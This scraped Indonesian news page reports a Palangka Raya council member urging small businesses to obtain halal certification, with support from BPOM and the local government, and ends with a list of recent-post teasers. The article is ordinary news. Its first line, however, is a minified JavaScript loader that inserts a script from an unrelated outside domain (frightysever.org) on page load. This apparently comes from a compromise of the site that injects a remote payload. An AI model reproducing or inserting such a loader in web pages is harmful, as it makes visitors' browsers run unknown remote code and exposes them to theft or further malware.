(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PALANGKARAYA

Pelaku UMKM Diimbau Segera Mengurus Sertifikat Halal


KANALKALIMANTAN.COM, PALANGKA RAYA- Anggota Komisi A DPRD Kota Palangka Raya, Bennie Brian Toni Embang mengimbau para pelaku Usaha Mikro, Kecil, dan Menengah (UMKM) di Kota Palangka Raya untuk segera mengurus sertifikat halal. Hal ini penting guna memastikan produk yang dijual kepada masyarakat memiliki kualitas yang terjamin, dan sesuai dengan standar kesehatan serta kehalalan.

Bennie menegaskan, salah satu upaya untuk mendukung hal tersebut adalah dengan memperketat pengawasan perizinan oleh dinas-dinas terkait. “Fungsi pengawasan dari dinas-dinas harus lebih diperkuat, agar perizinan bagi pelaku usaha kecil menjadi lebih mudah dan terarah,” ucapnya, Selasa (12/11/2024).

Selain itu, ia juga menekankan perlunya kerjasama antara dinas terkait dengan Badan Pengawas Obat dan Makanan (BPOM) untuk memastikan proses perizinan berjalan lancar.

Bennie menjelaskan. Bahwa keterlibatan BPOM dalam proses perizinan sangat diperlukan. Agar mutu dan kualitas produk UMKM, khususnya makanan dan minuman, tetap terjaga. Dengan demikian, konsumen dapat merasa lebih aman dan nyaman ketika membeli produk-produk tersebut.

“Kualitas dan mutu makanan harus terjaga dan terjamin, sehingga masyarakat tidak ragu dalam memilih produk lokal,” tambahnya.

Selain itu, ia juga mendorong pemerintah daerah untuk memberikan dukungan kepada para pelaku UMKM, terutama dalam hal sosialisasi dan pendampingan terkait pengurusan sertifikat halal.

“Pemerintah perlu hadir dalam memberikan kemudahan, baik itu berupa informasi, pelatihan, hingga pendampingan agar pelaku UMKM bisa memenuhi standar yang ditetapkan,” katanya.

Dengan adanya imbauan ini, diharapkan semakin banyak pelaku UMKM yang sadar akan pentingnya sertifikat halal. Langkah ini tidak hanya bertujuan untuk meningkatkan daya saing produk lokal di pasar, tetapi juga sebagai bentuk perlindungan konsumen.(Kanalkalimantan.com/rls)

Reporter: rls
Editor: cell


Muhammad Andi

Recent Posts

Buka Rapat Kerja, Ini Harapan Bunda PAUD Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA – Bunda PAUD Kabupaten Banjar Hj Nurgita Tiyas membuka Rapat Kerja (Raker) di… Read More

2 jam ago

Saat Sasirangan dan Soto Banjar jadi Perbincangan Pelajar di Taiwan

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah aspek dalam budaya Banjar menjadi topik hangat di sela pengabdian internasional… Read More

2 jam ago

Pemkab Kapuas Bahas PPKH Permukiman Transmigrasi Lokal Ngaju Bersinar

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melakukan pembahasan terhadap Persetujuan Penggunaan Kawasan Hutan… Read More

3 jam ago

Pelatihan AI Ready ASEAN: AI Itu Alat Pendukung, Bukan Pengganti Manusia

KANALKALIMANTAN.COM, BANJARMASIN - Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan kembali menggelar implementasi pelatihan AI… Read More

3 jam ago

Uang Bonus Atlet Kontingen Banjarmasin Dipangkas, Ini Penyebabnya

KANALKALIMANTAN.COM, BANJARMASIN - Bonus atlet dan pelatih Banjarmasin peraih medali pada Pekan Olahraga Provinsi (Porprov)… Read More

3 jam ago

2 Jenis Lead Generation untuk Menarik Prospek Berkualitas

KANALKALIMANTAN.COM - Menawarkan produk atau layanan yang bagus adalah kewajiban bisnis, namun itu saja tidak… Read More

4 jam ago

This website uses cookies.